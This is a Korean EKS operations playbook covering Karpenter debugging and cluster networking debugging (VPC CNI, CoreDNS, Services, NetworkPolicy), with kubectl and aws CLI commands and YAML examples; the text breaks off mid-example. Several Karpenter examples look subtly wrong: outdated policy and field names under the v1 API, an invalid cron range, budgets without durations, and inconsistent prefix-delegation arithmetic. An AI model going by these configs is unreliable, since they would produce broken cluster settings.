- **[EKS 고가용성 아키텍처 가이드](../eks-resiliency-guide.md)** — PDB, Pod Readiness Gates, Zone-aware routing
- **[EKS 디버깅 가이드](./index.md)** — 전체 디버깅 워크플로우
### 외부 참고 자료
- [Kubernetes Probes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/)
- [AWS Load Balancer Controller Annotations](https://kubernetes-sigs.github.io/aws-load-balancer-controller/v2.9/guide/service/annotations/)
- [Ingress-NGINX Configuration](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/)
- [Zero-downtime Deployments in Kubernetes](https://learnk8s.io/graceful-shutdown)
---
## 8. 요약 체크리스트
배포 전 Health Check 설정 점검:
- [ ] **경로 통일**: ALB/NLB Health Check 경로 = readinessProbe 경로
- [ ] **타이밍 설계**: Probe timeout < ALB HC timeout
- [ ] **Graceful Shutdown**: `preStop` hook + SIGTERM 핸들러 구현
- [ ] **종료 시퀀스**: `terminationGracePeriodSeconds > deregistration_delay + preStop_duration`
- [ ] **Rolling Update**: `minReadySeconds ≥ ALB HC interval × threshold`
- [ ] **고가용성**: PodDisruptionBudget 설정 (`minAvailable: 50%`)
- [ ] **Security Group**: ALB → Pod CIDR 트래픽 허용
- [ ] **Ingress Timeout**: 배치 API는 별도 Ingress로 분리
장애 발생 시 진단 순서:
1. `kubectl get pods` → Pod Ready 상태 확인
2. `kubectl get endpoints` → Service Endpoints 존재 여부
3. `aws elbv2 describe-target-health` → Target Group 상태 (ALB)
4. `kubectl logs -n kube-system deploy/aws-load-balancer-controller` → LBC 로그
5. `kubectl describe ingress` → Ingress 이벤트 (Ingress-NGINX)
6. Security Group 규칙 검증 → Pod CIDR 도달 가능 여부
---
**다음 단계**: [네트워킹 문제 해결](#) (추후 작성 예정) — Service Discovery, DNS, CNI 디버깅
---
# Karpenter 심화 디버깅
> Karpenter 오토스케일러 심화 디버깅 가이드
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/operations-reliability/eks-debugging/karpenter
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, karpenter, nodepool, nodeclaim, consolidation
Karpenter는 EKS의 차세대 오토스케일러로, NodePool/NodeClaim 기반으로 빠르고 효율적인 노드 프로비저닝을 제공합니다. 이 문서는 Karpenter 특유의 디버깅 패턴을 다룹니다.
## NodeClaim 라이프사이클
Karpenter의 노드 관리 흐름:
```mermaid
stateDiagram-v2
[*] --> Pending: Pod Unschedulable
Pending --> Launched: EC2 인스턴스 시작
Launched --> Registered: kubelet 등록
Registered --> Initialized: Taints/Labels 설정
Initialized --> Ready: Node Ready
Ready --> Drifted: AMI/NodePool 변경
Ready --> Expired: TTL 만료 (ttlSecondsAfterEmpty)
Ready --> Consolidation: 리소스 미활용
Drifted --> Terminating: 교체 시작
Expired --> Terminating
Consolidation --> Terminating
Terminating --> [*]: 노드 삭제
note right of Ready
정상 운영 상태
워크로드 실행 중
end note
note right of Consolidation
통합 조건:
- 유휴 노드
- 저활용 노드
- 작은 노드로 통합 가능
end note
```
## 스케줄링 실패 디버깅
### Pod가 Pending 상태로 멈춤
```bash
# Pod 이벤트 확인
kubectl describe pod
# 일반적인 에러 메시지:
# 1. "no matching nodeclaim"
# 2. "insufficient capacity"
# 3. "instance type not available"
```
#### 진단 플로우차트
```mermaid
flowchart TD
A[Pod Pending] --> B{Karpenter 로그에
'incompatible' 메시지?}
B -->|Yes| C[NodePool requirements
vs Pod requirements]
B -->|No| D{provisioned but
instance launch failed?}
C --> E{레이블/테인트
불일치?}
E -->|Yes| F[NodePool selector 수정]
E -->|No| G{인스턴스 타입
제약?}
G -->|Yes| H[Pod 리소스 요청과
인스턴스 타입 매칭]
G -->|No| I[가용 영역 제약 확인]
D -->|Yes| J{Spot 용량 부족?}
J -->|Yes| K[On-Demand 폴백 추가]
J -->|No| L{IAM 권한 오류?}
L -->|Yes| M[Karpenter IAM Role 확인]
L -->|No| N{서브넷/SG 문제?}
N -->|Yes| O[서브넷 태그 확인
karpenter.sh/discovery]
```
### 인스턴스 타입 가용성 부족
**증상:** Karpenter 로그에 "instance type unavailable" 반복
```bash
# Karpenter 로그 확인
kubectl logs -n karpenter -l app.kubernetes.io/name=karpenter --tail=100 | grep "launch instances"
# 에러 예시:
# "could not launch instance" err="InsufficientInstanceCapacity: We currently do not have sufficient g5.2xlarge capacity"
```
**해결 방법:**
```yaml
# NodePool: 다양한 인스턴스 타입 추가 (Spot 용량 확보)
apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
name: default
spec:
template:
spec:
requirements:
- key: karpenter.sh/capacity-type
operator: In
values: ["spot", "on-demand"] # Spot 실패 시 On-Demand 폴백
- key: node.kubernetes.io/instance-type
operator: In
values:
- c6i.2xlarge
- c6i.4xlarge
- c6a.2xlarge # ← AMD 인스턴스도 포함
- c7i.2xlarge # ← 최신 세대 추가
- key: topology.kubernetes.io/zone
operator: In
values:
- us-east-1a
- us-east-1b
- us-east-1c # ← 가용 영역 다양화
disruption:
consolidationPolicy: WhenUnderutilized
expireAfter: 720h # 30일
```
### NodePool Requirements 불일치
**증상:** Pod가 Pending, Karpenter는 "incompatible requirements" 로그
```bash
# Pod spec 확인
kubectl get pod -o yaml | grep -A 10 "nodeSelector\|affinity"
# NodePool requirements 확인
kubectl get nodepool -o yaml | grep -A 20 "requirements"
```
**예시 문제:**
```yaml
# Pod가 요구하는 것
nodeSelector:
workload: gpu
# NodePool이 제공하는 것 (레이블 없음)
spec:
template:
spec:
requirements:
- key: node.kubernetes.io/instance-type
operator: In
values: ["g5.2xlarge"]
# ← workload=gpu 레이블이 없음!
```
**해결:**
```yaml
# NodePool에 레이블 추가
spec:
template:
metadata:
labels:
workload: gpu
spec:
requirements:
- key: node.kubernetes.io/instance-type
operator: In
values: ["g5.2xlarge", "g5.4xlarge"]
```
## Consolidation 디버깅
Karpenter의 Consolidation은 노드를 자동으로 통합하여 비용을 절감합니다.
### Consolidation 동작 흐름
```mermaid
flowchart TD
A[Karpenter Consolidation Loop] --> B{유휴 노드
감지}
B -->|Yes| C[ttlSecondsAfterEmpty
타이머 시작]
B -->|No| D{저활용
노드?}
C --> E{타이머 만료?}
E -->|Yes| F[Pod 대체 가능?]
E -->|No| A
D -->|Yes| G{더 작은 노드로
통합 가능?}
D -->|No| A
G -->|Yes| F
G -->|No| A
F --> H{PDB 차단?}
H -->|Yes| I[통합 연기]
H -->|No| J{do-not-disrupt
annotation?}
J -->|Yes| I
J -->|No| K[새 노드 시작]
I --> A
K --> L[Pod 마이그레이션]
L --> M[기존 노드 종료]
M --> A
```
### "왜 통합이 안되는가?" 진단
```bash
# NodeClaim 상태 확인
kubectl get nodeclaims -o wide
# 출력 예시:
# NAME TYPE ZONE CAPACITY AGE READY
# default-abc c6i.2xlarge us-east-1a 8 30m True # ← 통합 대상 후보
# default-def c6i.xlarge us-east-1b 4 5m True # ← 새로 생성됨
```
```bash
# Consolidation 차단 이유 확인
kubectl describe nodeclaim | grep -A 5 "Conditions"
# 일반적인 차단 이유:
# 1. "cannot disrupt: pod has do-not-disrupt annotation"
# 2. "cannot disrupt: pdb blocks eviction"
# 3. "cannot disrupt: node is not empty and no replacement found"
```
### PodDisruptionBudget (PDB) 차단
```yaml
# PDB 예시 (과도하게 제약적)
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
name: my-app-pdb
spec:
minAvailable: 3 # ← 3개 유지 필수
selector:
matchLabels:
app: my-app
```
```bash
# PDB 상태 확인
kubectl get pdb -A
# 출력 예시 (차단 발생):
# NAME MIN AVAILABLE MAX UNAVAILABLE ALLOWED DISRUPTIONS AGE
# my-app-pdb 3 N/A 0 7d
# ↑ 0이면 통합 불가
# PDB가 차단하는 Pod 확인
kubectl get pods -l app=my-app -o wide
```
**해결 방법:**
```yaml
# PDB를 maxUnavailable로 변경 (유연성 확보)
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
name: my-app-pdb
spec:
maxUnavailable: 1 # ← 1개까지 중단 허용
selector:
matchLabels:
app: my-app
```
### do-not-disrupt Annotation
```bash
# do-not-disrupt annotation 확인
kubectl get pods -A -o json | jq -r '.items[] | select(.metadata.annotations."karpenter.sh/do-not-disrupt" == "true") | "\(.metadata.namespace)/\(.metadata.name)"'
# NodeClaim에도 적용 가능
kubectl get nodeclaims -o json | jq -r '.items[] | select(.metadata.annotations."karpenter.sh/do-not-disrupt" == "true") | .metadata.name'
```
**사용 시나리오:**
```yaml
# 장시간 실행 배치 작업 (중단 방지)
apiVersion: v1
kind: Pod
metadata:
name: long-running-job
annotations:
karpenter.sh/do-not-disrupt: "true" # ← 통합 제외
spec:
containers:
- name: job
image: my-batch-job:latest
```
### Consolidation Policy 설정
```yaml
# NodePool Consolidation 정책
apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
name: default
spec:
disruption:
consolidationPolicy: WhenUnderutilized # WhenEmpty / WhenUnderutilized
consolidateAfter: 30s # 통합 전 대기 시간 (기본 15s)
expireAfter: 720h # 노드 최대 수명 (30일)
# 버짓 설정 (동시 중단 제어)
budgets:
- nodes: "10%" # 전체 노드의 10%까지만 동시 중단
schedule: "0 9 * * *" # 매일 9시에만 (업무 시간 외)
```
| Policy | 동작 | 언제 사용? |
|--------|------|----------|
| **WhenEmpty** | 노드가 완전히 비어야 통합 | 비용보다 안정성 우선, stateful 워크로드 |
| **WhenUnderutilized** | 저활용 노드도 적극 통합 | 비용 최적화 우선, stateless 워크로드 |
## Spot 중단 처리
### Spot 중단 흐름
```mermaid
sequenceDiagram
participant EC2
participant Karpenter
participant Node
participant Pod
EC2->>Node: Spot Interruption Notice (2분 경고)
Node->>Karpenter: Interruption 이벤트
Karpenter->>Karpenter: 대체 노드 시작 (즉시)
Karpenter->>Node: Cordon (새 Pod 차단)
Karpenter->>Pod: Graceful Shutdown 시작
Pod->>Pod: preStop hook 실행
Pod->>Pod: SIGTERM 처리 (30초)
Pod-->>Node: 종료 완료
Note over EC2,Node: 2분 경과
EC2->>Node: 인스턴스 종료
Karpenter->>Pod: 새 노드에 재스케줄
```
### Spot 중단 확인
```bash
# Spot Interruption 로그
kubectl logs -n karpenter -l app.kubernetes.io/name=karpenter | grep interruption
# 출력 예시:
# "received spot interruption warning" node="default-abc123" time-until-interruption="2m"
# "cordoned node" node="default-abc123"
# "launched replacement node" node="default-def456"
```
### Spot 중단 대응 전략
```yaml
# NodePool: Spot Interruption Budget
apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
name: spot-optimized
spec:
template:
spec:
requirements:
- key: karpenter.sh/capacity-type
operator: In
values: ["spot", "on-demand"] # ← Spot 부족 시 On-Demand 폴백
disruption:
# Spot 중단 시 동시 교체 제한
budgets:
- nodes: "20%" # 전체 노드의 20%까지만 동시 중단
reasons:
- Drifted
- Underutilized
- Empty
```
**Pod 수준 대응:**
```yaml
# preStop hook으로 graceful shutdown
apiVersion: v1
kind: Pod
metadata:
name: web-server
spec:
terminationGracePeriodSeconds: 60 # ← 2분 안에 충분히 종료
containers:
- name: nginx
image: nginx
lifecycle:
preStop:
exec:
command:
- /bin/sh
- -c
- |
# 헬스체크 제거 (새 요청 차단)
nginx -s quit
# 기존 연결 처리 대기
sleep 10
```
## Drift 감지 및 자동 교체
### Drift란?
노드가 NodePool 정의와 일치하지 않게 되는 상태:
- AMI 업데이트
- NodePool requirements 변경
- UserData 변경
- SecurityGroup/Subnet 변경
```bash
# Drift 상태 확인
kubectl get nodeclaims -o json | jq -r '.items[] | select(.status.conditions[] | select(.type=="Drifted" and .status=="True")) | .metadata.name'
# Drift 이유 확인
kubectl describe nodeclaim | grep -A 5 "Drifted"
# 출력 예시:
# Type: Drifted
# Status: True
# Reason: AMI
# Message: AMI ami-old123 != ami-new456
```
### Drift 교체 제어
```yaml
# NodePool: Drift 교체 정책
apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
name: default
spec:
disruption:
consolidationPolicy: WhenUnderutilized
expireAfter: 720h
# Drift 교체 제어
budgets:
- nodes: "10%" # 한 번에 10%씩만 교체
reasons:
- Drifted # ← Drift 교체도 버짓 적용
```
**교체 순서:**
1. Karpenter가 Drift 감지
2. 새 NodeClaim 생성 (새 AMI)
3. Pod를 새 노드로 마이그레이션
4. 기존 노드 종료
```bash
# 교체 진행 상황 모니터링
watch -n 5 'kubectl get nodeclaims -o wide'
# AMI 버전 확인
kubectl get nodeclaims -o json | jq -r '.items[] | "\(.metadata.name): \(.status.imageID)"'
```
## Karpenter 로그 분석
### 핵심 로그 패턴
```bash
# 프로비저닝 성공
kubectl logs -n karpenter -l app.kubernetes.io/name=karpenter | grep "launched"
# "launched nodeclaim" nodeclaim="default-abc123" instance-type="c6i.2xlarge" zone="us-east-1a" capacity-type="spot"
# 프로비저닝 실패
kubectl logs -n karpenter -l app.kubernetes.io/name=karpenter | grep "could not launch"
# "could not launch nodeclaim" err="InsufficientInstanceCapacity: ..."
# Consolidation 실행
kubectl logs -n karpenter -l app.kubernetes.io/name=karpenter | grep "deprovisioning"
# "deprovisioning nodeclaim via consolidation" nodeclaim="default-abc123" reason="underutilized"
# Spot 중단
kubectl logs -n karpenter -l app.kubernetes.io/name=karpenter | grep "interruption"
# "received spot interruption warning" node="default-abc123" time-until-interruption="2m"
```
### CloudWatch Logs Insights 쿼리
```sql
# Karpenter 로그를 CloudWatch에 전송한 경우
# 1. 인스턴스 타입별 프로비저닝 실패율
fields @timestamp, instanceType, err
| filter @message like /could not launch/
| stats count() by instanceType
| sort count desc
# 2. Consolidation으로 절감된 노드 수
fields @timestamp, nodeclaim, reason
| filter @message like /deprovisioning/
| stats count() by bin(1h)
# 3. Spot 중단 빈도
fields @timestamp, node
| filter @message like /spot interruption/
| stats count() by bin(1h)
# 4. 노드 시작 시간 (프로비저닝 성능)
fields @timestamp, nodeclaim, instance-type
| filter @message like /launched nodeclaim/
| stats avg(@duration) by instance-type
```
## 진단 명령어 모음
```bash
# === NodePool / NodeClaim ===
# NodePool 목록 및 상태
kubectl get nodepools -o wide
# NodeClaim 목록 및 상태
kubectl get nodeclaims -o wide
# NodeClaim 상세 정보 (Conditions 확인)
kubectl describe nodeclaim
# NodeClaim과 Node 매핑
kubectl get nodeclaims -o json | jq -r '.items[] | "\(.metadata.name) → \(.status.nodeName)"'
# Drift 상태 확인
kubectl get nodeclaims -o json | jq -r '.items[] | select(.status.conditions[] | select(.type=="Drifted" and .status=="True")) | .metadata.name'
# === Karpenter Controller ===
# Karpenter Pod 상태
kubectl get pods -n karpenter
# Karpenter 로그 (실시간)
kubectl logs -n karpenter -l app.kubernetes.io/name=karpenter -f
# 최근 프로비저닝 로그
kubectl logs -n karpenter -l app.kubernetes.io/name=karpenter --tail=100 | grep "launched\|could not launch"
# Consolidation 로그
kubectl logs -n karpenter -l app.kubernetes.io/name=karpenter --tail=100 | grep "deprovisioning"
# Spot 중단 로그
kubectl logs -n karpenter -l app.kubernetes.io/name=karpenter --tail=100 | grep "interruption"
# === PodDisruptionBudget ===
# PDB 상태 확인
kubectl get pdb -A
# PDB가 차단하는 Pod 확인
kubectl get pdb -o json | jq -r '.spec.selector'
# === do-not-disrupt ===
# do-not-disrupt annotation이 있는 Pod
kubectl get pods -A -o json | jq -r '.items[] | select(.metadata.annotations."karpenter.sh/do-not-disrupt" == "true") | "\(.metadata.namespace)/\(.metadata.name)"'
# do-not-disrupt annotation이 있는 NodeClaim
kubectl get nodeclaims -o json | jq -r '.items[] | select(.metadata.annotations."karpenter.sh/do-not-disrupt" == "true") | .metadata.name'
# === EC2 인스턴스 ===
# Karpenter가 관리하는 인스턴스 확인
aws ec2 describe-instances \
--filters "Name=tag:karpenter.sh/nodepool,Values=*" \
--query 'Reservations[*].Instances[*].[InstanceId,InstanceType,State.Name,SpotInstanceRequestId]' \
--output table
# Spot Fleet 요청 상태
aws ec2 describe-spot-instance-requests \
--filters "Name=tag:karpenter.sh/nodepool,Values=*" \
--query 'SpotInstanceRequests[*].[SpotInstanceRequestId,State,Status.Message]' \
--output table
# === Metrics ===
# Karpenter 메트릭 확인 (Prometheus)
kubectl port-forward -n karpenter svc/karpenter 8080:8080
# 브라우저에서 http://localhost:8080/metrics
# 주요 메트릭:
# - karpenter_nodeclaims_created_total
# - karpenter_nodeclaims_terminated_total
# - karpenter_nodeclaims_disrupted_total
# - karpenter_nodes_allocatable{resource="cpu"}
# - karpenter_nodes_allocatable{resource="memory"}
```
## 문제별 체크리스트
### Pod가 Pending 상태 (NodeClaim 생성 안 됨)
- [ ] Karpenter 로그에 "incompatible requirements" 있는가?
- [ ] NodePool requirements와 Pod requirements가 매칭되는가?
- [ ] 인스턴스 타입이 Pod 리소스 요청을 만족하는가?
- [ ] 가용 영역에 인스턴스 용량이 충분한가?
- [ ] Spot 용량 부족 시 On-Demand 폴백이 설정되었는가?
### Consolidation이 동작하지 않음
- [ ] `consolidationPolicy`가 `WhenUnderutilized`로 설정되었는가?
- [ ] PDB가 `minAvailable`을 과도하게 설정하지 않았는가?
- [ ] Pod에 `do-not-disrupt` annotation이 있는가?
- [ ] NodeClaim에 `do-not-disrupt` annotation이 있는가?
- [ ] `consolidateAfter` 대기 시간이 충분히 경과했는가?
### Spot 중단 후 Pod 재시작 실패
- [ ] PDB가 과도하게 제약적인가?
- [ ] Pod의 `terminationGracePeriodSeconds`가 충분한가? (2분 이내)
- [ ] On-Demand 폴백이 설정되어 있는가?
- [ ] 새 노드가 시작되기 전에 기존 노드가 종료되었는가? (버짓 설정 확인)
### Drift 교체가 너무 빠름/느림
- [ ] Drift 교체 버짓이 설정되었는가?
- [ ] `budgets[].nodes` 값이 적절한가? (기본값 없음 = 무제한)
- [ ] PDB가 교체를 차단하고 있는가?
## 고급 패턴
### 다중 NodePool 전략
```yaml
# 1. 일반 워크로드 (Spot 우선)
apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
name: general-spot
spec:
weight: 10 # ← 우선순위 낮음 (Spot 우선 사용)
template:
spec:
requirements:
- key: karpenter.sh/capacity-type
operator: In
values: ["spot"]
---
# 2. 일반 워크로드 (On-Demand 폴백)
apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
name: general-on-demand
spec:
weight: 50 # ← 우선순위 높음 (Spot 부족 시)
template:
spec:
requirements:
- key: karpenter.sh/capacity-type
operator: In
values: ["on-demand"]
---
# 3. GPU 워크로드 (전용 NodePool)
apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
name: gpu
spec:
weight: 100 # ← 최우선
template:
metadata:
labels:
workload: gpu
spec:
requirements:
- key: node.kubernetes.io/instance-type
operator: In
values: ["g5.2xlarge", "g5.4xlarge"]
taints:
- key: nvidia.com/gpu
value: "true"
effect: NoSchedule
```
### 시간대별 Consolidation
```yaml
# NodePool: 업무 시간에는 Consolidation 제한
apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
name: default
spec:
disruption:
consolidationPolicy: WhenUnderutilized
budgets:
- nodes: "0%" # 업무 시간: 통합 금지
schedule: "0 9-18 * * 1-5" # 월~금 9-18시
- nodes: "50%" # 업무 외: 적극 통합
schedule: "0 19-8 * * *" # 19-8시
```
## 참고 자료
- [Auto Mode 디버깅](./auto-mode.md) - NodePool/NodeClaim 개념 유사
- [노드 디버깅](./node.md) - 노드 수준 진단
- [워크로드 디버깅](./workload.md) - Pod 스케줄링 문제
- [Karpenter 공식 문서](https://karpenter.sh/)
- [Karpenter Best Practices](https://aws.github.io/aws-eks-best-practices/karpenter/)
---
# 네트워킹 디버깅
> EKS 네트워킹 문제 진단 및 해결 가이드 - VPC CNI, DNS, Service, NetworkPolicy
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/operations-reliability/eks-debugging/networking
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, kubernetes, networking, vpc-cni, dns, service
## 네트워킹 디버깅 워크플로우
```mermaid
flowchart TD
NET_ISSUE["`**네트워크 문제 감지**`"] --> CHECK_CNI{"`VPC CNI
정상 동작?`"}
CHECK_CNI -->|Pod IP 미할당| CNI_DEBUG["`**VPC CNI 디버깅**
IP 고갈, ENI 제한
Prefix Delegation`"]
CHECK_CNI -->|정상| CHECK_DNS{"`DNS 해석
가능?`"}
CHECK_DNS -->|실패| DNS_DEBUG["`**DNS 디버깅**
CoreDNS 로그 확인
ndots 설정 점검`"]
CHECK_DNS -->|정상| CHECK_SVC{"`Service 접근
가능?`"}
CHECK_SVC -->|실패| SVC_DEBUG["`**Service 디버깅**
Selector 일치 확인
Endpoints 확인`"]
CHECK_SVC -->|정상| CHECK_NP{"`NetworkPolicy
차단?`"}
CHECK_NP -->|Yes| NP_DEBUG["`**NetworkPolicy 디버깅**
AND/OR 셀렉터 확인
정책 규칙 검증`"]
CHECK_NP -->|No| CHECK_LB{"`Ingress / LB
문제?`"}
CHECK_LB --> LB_DEBUG["`**Ingress/LB 디버깅**
Target Group 상태 확인
Security Group 확인`"]
style NET_ISSUE fill:#ff4444,stroke:#cc3636,color:#fff
style CNI_DEBUG fill:#4286f4,stroke:#2a6acf,color:#fff
style DNS_DEBUG fill:#4286f4,stroke:#2a6acf,color:#fff
style SVC_DEBUG fill:#4286f4,stroke:#2a6acf,color:#fff
style NP_DEBUG fill:#fbbc04,stroke:#c99603,color:#000
style LB_DEBUG fill:#ff9900,stroke:#cc7a00,color:#fff
```
## VPC CNI 디버깅
### 기본 점검
```bash
# VPC CNI Pod 상태 확인
kubectl get pods -n kube-system -l k8s-app=aws-node
# VPC CNI 로그 확인
kubectl logs -n kube-system -l k8s-app=aws-node --tail=50
# 현재 VPC CNI 버전 확인
kubectl describe daemonset aws-node -n kube-system | grep Image
```
### IP 고갈 문제 해결
```bash
# 서브넷별 사용 가능 IP 확인
aws ec2 describe-subnets --subnet-ids \
--query 'Subnets[].{ID:SubnetId,AZ:AvailabilityZone,Available:AvailableIpAddressCount}'
# Prefix Delegation 활성화 (IP 용량 16배 확대)
kubectl set env daemonset aws-node -n kube-system ENABLE_PREFIX_DELEGATION=true
# Prefix Delegation 활성화 확인
kubectl get daemonset aws-node -n kube-system -o yaml | grep ENABLE_PREFIX_DELEGATION
```
:::tip Prefix Delegation이란?
기본 모드에서는 ENI당 개별 Secondary IP를 할당합니다. Prefix Delegation을 활성화하면 ENI에 /28 prefix (16개 IP)를 할당하여 동일한 ENI로 16배 많은 Pod을 실행할 수 있습니다.
**예**: c5.xlarge 인스턴스
- 기본 모드: 최대 58개 Pod (4 ENI × 15 IP - 1)
- Prefix Delegation: 최대 110개 Pod (4 ENI × 16 prefix × 16 IP)
:::
### ENI 제한 및 IP 한도
각 EC2 인스턴스 타입에 따라 연결 가능한 ENI 수와 ENI당 IP 수가 제한됩니다.
```bash
# 인스턴스 타입별 ENI 한도 조회
aws ec2 describe-instance-types \
--instance-types c5.xlarge c5.2xlarge m5.xlarge \
--query 'InstanceTypes[].[InstanceType,NetworkInfo.MaximumNetworkInterfaces,NetworkInfo.Ipv4AddressesPerInterface]' \
--output table
# 노드의 현재 ENI 사용량 확인
kubectl get nodes -o json | jq -r '.items[] | {
name: .metadata.name,
allocatable_pods: .status.allocatable.pods,
max_pods: .status.capacity.pods
}'
```
## DNS 트러블슈팅
### CoreDNS 기본 점검
```bash
# CoreDNS Pod 상태 확인
kubectl get pods -n kube-system -l k8s-app=kube-dns
# CoreDNS 로그 확인
kubectl logs -n kube-system -l k8s-app=kube-dns --tail=50
# DNS 해석 테스트
kubectl run -it --rm debug --image=busybox --restart=Never -- nslookup kubernetes.default
# CoreDNS 설정 확인
kubectl get configmap coredns -n kube-system -o yaml
# CoreDNS 재시작
kubectl rollout restart deployment coredns -n kube-system
```
### CoreDNS OOM 문제
CoreDNS가 OOMKilled되면 클러스터 전체의 DNS 해석이 실패합니다.
```bash
# CoreDNS 메모리 사용량 확인
kubectl top pods -n kube-system -l k8s-app=kube-dns
# CoreDNS 메모리 limits 증가
kubectl set resources deployment coredns -n kube-system \
--limits=memory=300Mi --requests=memory=100Mi
```
:::warning CoreDNS OOM 원인
- 대규모 클러스터 (5,000+ Pod)에서 쿼리 급증
- DNS 캐싱 미설정으로 반복 쿼리
- 악의적인 DNS Amplification 공격
**해결**: 메모리 증가 + NodeLocal DNSCache 사용
:::
### ndots:5 문제 및 해결
Kubernetes의 기본 `resolv.conf` 설정에서 `ndots:5`는 외부 도메인 접근 시 불필요한 DNS 쿼리를 발생시킵니다.
```bash
# Pod 내부의 resolv.conf 확인
kubectl exec -- cat /etc/resolv.conf
# nameserver 10.100.0.10
# search default.svc.cluster.local svc.cluster.local cluster.local
# options ndots:5
# 문제: api.example.com 조회 시 다음 순서로 5번 쿼리 발생
# 1. api.example.com.default.svc.cluster.local (실패)
# 2. api.example.com.svc.cluster.local (실패)
# 3. api.example.com.cluster.local (실패)
# 4. api.example.com.ec2.internal (실패)
# 5. api.example.com (성공)
```
#### 해결 방법 1: ndots 값 조정
```yaml
apiVersion: v1
kind: Pod
metadata:
name: app
spec:
dnsConfig:
options:
- name: ndots
value: "2" # 기본 5 → 2로 감소
containers:
- name: app
image: my-app:latest
```
#### 해결 방법 2: FQDN에 trailing dot 추가
```bash
# 애플리케이션 코드에서 외부 도메인 호출 시
curl https://api.example.com. # ← trailing dot으로 즉시 외부 DNS 조회
```
#### 해결 방법 3: NodeLocal DNSCache 사용
NodeLocal DNSCache는 각 노드에서 DNS 캐싱을 제공하여 CoreDNS 부하를 줄입니다.
```bash
# NodeLocal DNSCache 설치
kubectl apply -f https://raw.githubusercontent.com/kubernetes/kubernetes/master/cluster/addons/dns/nodelocaldns/nodelocaldns.yaml
# 설치 확인
kubectl get pods -n kube-system -l k8s-app=node-local-dns
```
:::info VPC DNS 스로틀링 한도
VPC DNS resolver는 **ENI당 1,024 packets/sec** 제한이 있습니다. 대규모 클러스터에서는 NodeLocal DNSCache로 VPC DNS 호출을 줄이는 것이 필수입니다.
:::
## Service 디버깅
### Service 연결 불가 패턴
#### Pattern 1: Selector 라벨 불일치
```bash
# Service 상태 확인
kubectl get svc
# Endpoints 확인 (백엔드 Pod이 연결되어 있는지)
kubectl get endpoints
# NAME ENDPOINTS
# web-service ← 문제: Endpoints가 비어있음
# Service selector 확인
kubectl get svc -o jsonpath='{.spec.selector}'
# {"app":"web","version":"v1"}
# Selector와 일치하는 Pod 확인
kubectl get pods -l app=web,version=v1
# No resources found ← 문제: 일치하는 Pod 없음
# 실제 Pod의 라벨 확인
kubectl get pods --show-labels
# NAME READY STATUS LABELS
# web-abc 1/1 Running app=web,ver=v1 ← 라벨이 "ver"로 오타
```
**해결**: Service selector를 Pod label과 일치시키기
```bash
# 방법 1: Service selector 수정
kubectl patch svc web-service -p '{"spec":{"selector":{"app":"web","ver":"v1"}}}'
# 방법 2: Pod label 수정 (Deployment template 수정 후 재배포)
kubectl set labels pod web-abc version=v1 --overwrite
```
#### Pattern 2: port vs targetPort 불일치
```yaml
# Service 설정
apiVersion: v1
kind: Service
metadata:
name: web-service
spec:
selector:
app: web
ports:
- port: 80 # ← Service가 노출하는 포트
targetPort: 8080 # ← Pod이 리스닝하는 포트 (여기가 틀리면 연결 실패)
```
```bash
# Pod이 실제로 리스닝하는 포트 확인
kubectl get pod -o jsonpath='{.spec.containers[*].ports[*].containerPort}'
# 9090 ← 실제는 9090 포트인데 Service는 8080으로 설정됨
# Service targetPort 수정
kubectl patch svc web-service -p '{"spec":{"ports":[{"port":80,"targetPort":9090}]}}'
```
#### Pattern 3: Endpoints 확인
```bash
# Endpoints 상세 확인
kubectl describe endpoints
# Endpoints가 비어있으면:
# 1. Service selector와 Pod label 일치 확인
# 2. Pod이 Ready 상태인지 확인 (Not Ready Pod은 Endpoints에서 제외됨)
kubectl get pods -l app=web -o wide
```
### 일반적인 Service 문제
| 증상 | 확인 사항 | 해결 |
|------|----------|------|
| Endpoints가 비어있음 | Service selector와 Pod label 불일치 | label 수정 |
| ClusterIP 접근 불가 | kube-proxy 정상 동작 여부 | `kubectl logs -n kube-system -l k8s-app=kube-proxy` |
| NodePort 접근 불가 | Security Group에서 30000-32767 허용 여부 | SG Inbound 규칙 추가 |
| LoadBalancer Pending | AWS Load Balancer Controller 설치 여부 | controller 설치 및 IAM 권한 확인 |
## NetworkPolicy 디버깅
### AND vs OR 셀렉터 혼동
NetworkPolicy에서 가장 흔한 실수는 **AND vs OR 셀렉터**의 혼동입니다.
```yaml
# AND 로직 (같은 from 항목 안에 두 셀렉터를 결합)
# "alice 네임스페이스의 client 역할 Pod" 만 허용
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-alice-client-only
spec:
podSelector:
matchLabels:
app: web
ingress:
- from:
- namespaceSelector:
matchLabels:
user: alice
podSelector:
matchLabels:
role: client
```
```yaml
# OR 로직 (별도의 from 항목으로 분리)
# "alice 네임스페이스의 모든 Pod" 또는 "모든 네임스페이스의 client 역할 Pod" 허용
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-alice-or-client
spec:
podSelector:
matchLabels:
app: web
ingress:
- from:
- namespaceSelector:
matchLabels:
user: alice
- podSelector:
matchLabels:
role: client
```
:::danger AND vs OR 주의
위 두 YAML은 indent 한 레벨 차이로 완전히 다른 보안 정책이 됩니다. AND 로직에서는 `namespaceSelector`와 `podSelector`가 **같은 `- from` 항목** 안에 있고, OR 로직에서는 **별도의 `- from` 항목**으로 분리됩니다.
:::
### NetworkPolicy 차단 디버깅
```bash
# 모든 NetworkPolicy 확인
kubectl get networkpolicy -n
# 특정 Pod에 적용된 NetworkPolicy 확인
kubectl describe pod -n
# NetworkPolicy가 트래픽을 차단하는지 테스트
kubectl run -it --rm debug --image=nicolaka/netshoot --restart=Never -- bash
# 내부에서:
